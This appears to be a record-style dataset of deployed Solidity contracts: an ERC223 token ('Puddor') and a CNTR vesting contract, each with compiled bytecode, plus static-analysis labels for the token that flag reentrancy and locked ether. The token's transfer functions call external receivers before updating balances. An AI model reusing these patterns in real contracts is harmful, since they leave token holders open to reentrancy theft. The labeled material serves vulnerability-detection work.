function lockedSupply() public view returns (uint256) {
return _lockedSupply;
}
function releaseTimeOf(address _owner) public view returns (uint256 releaseTime) {
return addressFrozenFund[_owner].release;
}
function lockedBalanceOf(address _owner) public view returns (uint256 lockedBalance) {
return addressFrozenFund[_owner].amount;
}
function lockBalance(uint256 duration, uint256 amount) public{
address _owner = msg.sender;
require(address(0) != _owner && amount > 0 && duration > 0 && balanceOf(_owner) >= amount);
require(addressFrozenFund[_owner].release <= now && addressFrozenFund[_owner].amount == 0);
addressFrozenFund[_owner].start = now;
addressFrozenFund[_owner].duration = duration;
addressFrozenFund[_owner].release = SafeMath.add(addressFrozenFund[_owner].start, duration);
addressFrozenFund[_owner].amount = amount;
burnToken(_owner, amount);
_lockedSupply = SafeMath.add(_lockedSupply, lockedBalanceOf(_owner));
emit LockBalance(_owner, addressFrozenFund[_owner].release, amount);
}
//_owner must call this function explicitly to release locked balance in a locked wallet
function releaseLockedBalance() public {
address _owner = msg.sender;
require(address(0) != _owner && lockedBalanceOf(_owner) > 0 && releaseTimeOf(_owner) <= now);
mintToken(_owner, lockedBalanceOf(_owner));
_lockedSupply = SafeMath.sub(_lockedSupply, lockedBalanceOf(_owner));
emit UnlockBalance(_owner, addressFrozenFund[_owner].release, lockedBalanceOf(_owner));
delete addressFrozenFund[_owner];
}
}
contract Puddor is ERC223, ERCAddressFrozenFund {
using SafeMath for uint;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
address public fundsWallet;
uint256 internal fundsWalletChanged;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
constructor() public {
_symbol = "PDR";
_name = "Puddor";
_decimals = 4;
_totalSupply = 200000000000;
balances[msg.sender] = _totalSupply;
fundsWallet = msg.sender;
owner = msg.sender;
fundsWalletChanged = 0;
}
function changeFundsWallet(address newOwner) public{
require(msg.sender == fundsWallet && fundsWalletChanged == 0);
balances[newOwner] = balances[fundsWallet];
balances[fundsWallet] = 0;
fundsWallet = newOwner;
fundsWalletChanged = 1;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function mintToken(address _owner, uint256 amount) internal {
balances[_owner] = SafeMath.add(balances[_owner], amount);
}
function burnToken(address _owner, uint256 amount) internal {
balances[_owner] = SafeMath.sub(balances[_owner], amount);
}
function() payable public {
require(msg.sender == address(0));//disable ICO crowd sale 禁止ICO资金募集,因为本合约已经过了募集阶段
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
if(_from == fundsWallet){
require(_value <= balances[_from]);
}
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transferdata(address _to, uint _value, bytes _data) public payable {
require(_value > 0 );
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transferdata(msg.sender, _to, _value, _data);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
function transferMultiple(address[] _tos, uint256[] _values, uint count) payable public returns (bool) {
uint256 total = 0;
uint256 total_prev = 0;
uint i = 0;
for(i=0;i<count;i++){
require(_tos[i] != address(0) && !isContract(_tos[i]));//_tos must no contain any contract address
if(isContract(_tos[i])) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_tos[i]);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _values[i], _data);
}
total_prev = total;
total = SafeMath.add(total, _values[i]);
require(total >= total_prev);
}
require(total <= balances[msg.sender]);
for(i=0;i<count;i++){
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _values[i]);
balances[_tos[i]] = SafeMath.add(balances[_tos[i]], _values[i]);
emit Transfer(msg.sender, _tos[i], _values[i]);
}
return true;
}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610129578063095ea7b3146101b357806318160ddd146101eb578063191723ed146102125780632194f3a21461022d57806323b872dd1461025e578063286c241a14610288578063313ce567146102a9578063323661f6146102d457806359355736146102e9578063661884631461030a57806370a082311461032e5780637d6f0d5f1461034f5780638da5cb5b146103705780638f5ab3ab1461038557806395d89b41146103e1578063a201ed8b146103f6578063a9059cbb14610479578063ca5c7b911461049d578063d73dd623146104b2578063dd62ed3e146104d6575b331561012757600080fd5b005b34801561013557600080fd5b5061013e6104fd565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b506101d7600160a060020a0360043516602435610593565b604080519115158252519081900360200190f35b3480156101f757600080fd5b50610200610635565b60408051918252519081900360200190f35b34801561021e57600080fd5b5061012760043560243561063b565b34801561023957600080fd5b5061024261079b565b60408051600160a060020a039092168252519081900360200190f35b34801561026a57600080fd5b506101d7600160a060020a03600435811690602435166044356107aa565b34801561029457600080fd5b50610200600160a060020a0360043516610a70565b3480156102b557600080fd5b506102be610a8e565b6040805160ff9092168252519081900360200190f35b3480156102e057600080fd5b50610127610a97565b3480156102f557600080fd5b50610200600160a060020a0360043516610ba4565b34801561031657600080fd5b506101d7600160a060020a0360043516602435610bc2565b34801561033a57600080fd5b50610200600160a060020a0360043516610cac565b34801561035b57600080fd5b50610127600160a060020a0360043516610cc7565b34801561037c57600080fd5b50610242610d48565b604080516020600460443581810135601f8101849004840285018401909552848452610127948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610d579650505050505050565b3480156103ed57600080fd5b5061013e610f6f565b604080516020600480358082013583810280860185019096528085526101d795369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497505093359450610fd09350505050565b34801561048557600080fd5b506101d7600160a060020a0360043516602435611366565b3480156104a957600080fd5b50610200611561565b3480156104be57600080fd5b506101d7600160a060020a0360043516602435611567565b3480156104e257600080fd5b50610200600160a060020a03600435811690602435166115fa565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105895780601f1061055e57610100808354040283529160200191610589565b820191906000526020600020905b81548152906001019060200180831161056c57829003601f168201915b5050505050905090565b60008115806105c35750336000908152600a60209081526040808320600160a060020a0387168452909152902054155b15156105ce57600080fd5b336000818152600a60209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60065490565b33801580159061064b5750600082115b80156106575750600083115b801561066b57508161066882610cac565b10155b151561067657600080fd5b600160a060020a03811660009081526002602052604090206004015442108015906106ba5750600160a060020a038116600090815260026020526040902060010154155b15156106c557600080fd5b600160a060020a0381166000908152600260208190526040909120429181018290556003018490556106f79084611625565b600160a060020a03821660009081526002602052604090206004810191909155600101829055610727818361163b565b61073b60015461073683610ba4565b611625565b600155600160a060020a03811660008181526002602090815260409182902060040154825190815290810185905281517f4a5ed3c7d7f33c8c80b3444f04527e6d3bee954c19dac37176e4aa1a86ce8728929181900390910190a2505050565b600754600160a060020a031681565b6000806060600160a060020a03851615156107c457600080fd5b600160a060020a0386166000908152600960205260409020548411156107e957600080fd5b600160a060020a0386166000908152600a6020908152604080832033845290915290205484111561081957600080fd5b600754600160a060020a038781169116141561085457600160a060020a03861660009081526009602052604090205484111561085457600080fd5b61085d8561167e565b1561097357604080516001808252818301909252869350906020808301908038833950506040517fc0ee0b8a000000000000000000000000000000000000000000000000000000008152336004820181815260248301899052606060448401908152855160648501528551959650600160a060020a0388169563c0ee0b8a955092938a938893929160840190602085019080838360005b8381101561090c5781810151838201526020016108f4565b50505050905090810190601f1680156109395780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561095a57600080fd5b505af115801561096e573d6000803e3d6000fd5b505050505b600160a060020a0386166000908152600960205260409020546109969085611686565b600160a060020a0380881660009081526009602052604080822093909355908716815220546109c59085611625565b600160a060020a038087166000908152600960209081526040808320949094559189168152600a82528281203382529091522054610a039085611686565b600160a060020a038088166000818152600a6020908152604080832033845282529182902094909455805188815290519289169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350600195945050505050565b600160a060020a031660009081526002602052604090206004015490565b60055460ff1690565b338015801590610aaf57506000610aad82610ba4565b115b8015610ac3575042610ac082610a70565b11155b1515610ace57600080fd5b610ae081610adb83610ba4565b611698565b610af4600154610aef83610ba4565b611686565b600155600160a060020a0381166000818152600260205260409020600401547ff2a470701c29165d36d10c35e36dac1dc397594484071f35785a55c8589be0fa90610b3e84610ba4565b6040805192835260208301919091528051918290030190a2600160a060020a031660009081526002602081905260408220805473ffffffffffffffffffffffffffffffffffffffff19168155600181018390559081018290556003810182905560040155565b600160a060020a031660009081526002602052604090206001015490565b336000908152600a60209081526040808320600160a060020a038616845290915281205480831115610c1757336000908152600a60209081526040808320600160a060020a0388168452909152812055610c46565b610c218184611686565b336000908152600a60209081526040808320600160a060020a03891684529091529020555b336000818152600a60209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526009602052604090205490565b600754600160a060020a031633148015610ce15750600854155b1515610cec57600080fd5b60078054600160a060020a0390811660009081526009602052604080822054948316808352818320959095558354909216815290812055805473ffffffffffffffffffffffffffffffffffffffff191690911790556001600855565b600054600160a060020a031681565b6000808311610d6557600080fd5b610d6e8461167e565b15610e6257506040517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018590526060604484019081528451606485015284518794600160a060020a0386169463c0ee0b8a9490938993899360840190602085019080838360005b83811015610dfb578181015183820152602001610de3565b50505050905090810190601f168015610e285780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610e4957600080fd5b505af1158015610e5d573d6000803e3d6000fd5b505050505b33600090815260096020526040902054610e82908463ffffffff61168616565b3360009081526009602052604080822092909255600160a060020a03861681522054610eb4908463ffffffff61162516565b600160a060020a0385166000908152600960209081526040918290209290925551835184928291908401908083835b60208310610f025780518252601f199092019160209182019101610ee3565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937f480cafb52588f1f935953a2921bf5b59fb3eb22fbb6bb8b3ed12739f8ed40c339350918290030190a450505050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105895780601f1061055e57610100808354040283529160200191610589565b60008080808060605b868310156111e15788516000908a9085908110610ff257fe5b90602001906020020151600160a060020a031614158015611030575061102e898481518110151561101f57fe5b9060200190602002015161167e565b155b151561103b57600080fd5b61104c898481518110151561101f57fe5b156111a357888381518110151561105f57fe5b6020908102909101015160408051600180825281830190925291935081602001602082028038833901905050905081600160a060020a031663c0ee0b8a338a868151811015156110ab57fe5b90602001906020020151846040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561113c578181015183820152602001611124565b50505050905090810190601f1680156111695780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561118a57600080fd5b505af115801561119e573d6000803e3d6000fd5b505050505b8493506111c78589858151811015156111b857fe5b90602001906020020151611625565b9450838510156111d657600080fd5b600190920191610fd9565b336000908152600960205260409020548511156111fd57600080fd5b600092505b868310156113575733600090815260096020526040902054885161123c91908a908690811061122d57fe5b90602001906020020151611686565b3360009081526009602081905260408220929092558a5161129e9291908c908790811061126557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205489858151811015156111b857fe5b600960008b868151811015156112b057fe5b6020908102909101810151600160a060020a031682528101919091526040016000205588518990849081106112e157fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a8681518110151561132d57fe5b906020019060200201516040518082815260200191505060405180910390a3600190920191611202565b50600198975050505050505050565b6000806060600160a060020a038516151561138057600080fd5b3360009081526009602052604090205484111561139c57600080fd5b6113a58561167e565b156114bb57604080516001808252818301909252869350906020808301908038833950506040517fc0ee0b8a000000000000000000000000000000000000000000000000000000008152336004820181815260248301899052606060448401908152855160648501528551959650600160a060020a0388169563c0ee0b8a955092938a938893929160840190602085019080838360005b8381101561145457818101518382015260200161143c565b50505050905090810190601f1680156114815780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156114a257600080fd5b505af11580156114b6573d6000803e3d6000fd5b505050505b336000908152600960205260409020546114d59085611686565b3360009081526009602052604080822092909255600160a060020a038716815220546115019085611625565b600160a060020a0386166000818152600960209081526040918290209390935580518781529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001949350505050565b60015490565b336000908152600a60209081526040808320600160a060020a03861684529091528120546115959083611625565b336000818152600a60209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b60008282018381101561163457fe5b9392505050565b600160a060020a03821660009081526009602052604090205461165e9082611686565b600160a060020a0390921660009081526009602052604090209190915550565b6000903b1190565b60008282111561169257fe5b50900390565b600160a060020a03821660009081526009602052604090205461165e90826116255600a165627a7a72305820704ecfa276e63821260dbcdb8defac97ddaf332d3dca22a623603a1a301e5ef20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,466 |
0xf8d06D5E8385bc7711642615a8D0BeEa615383DC
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728152506020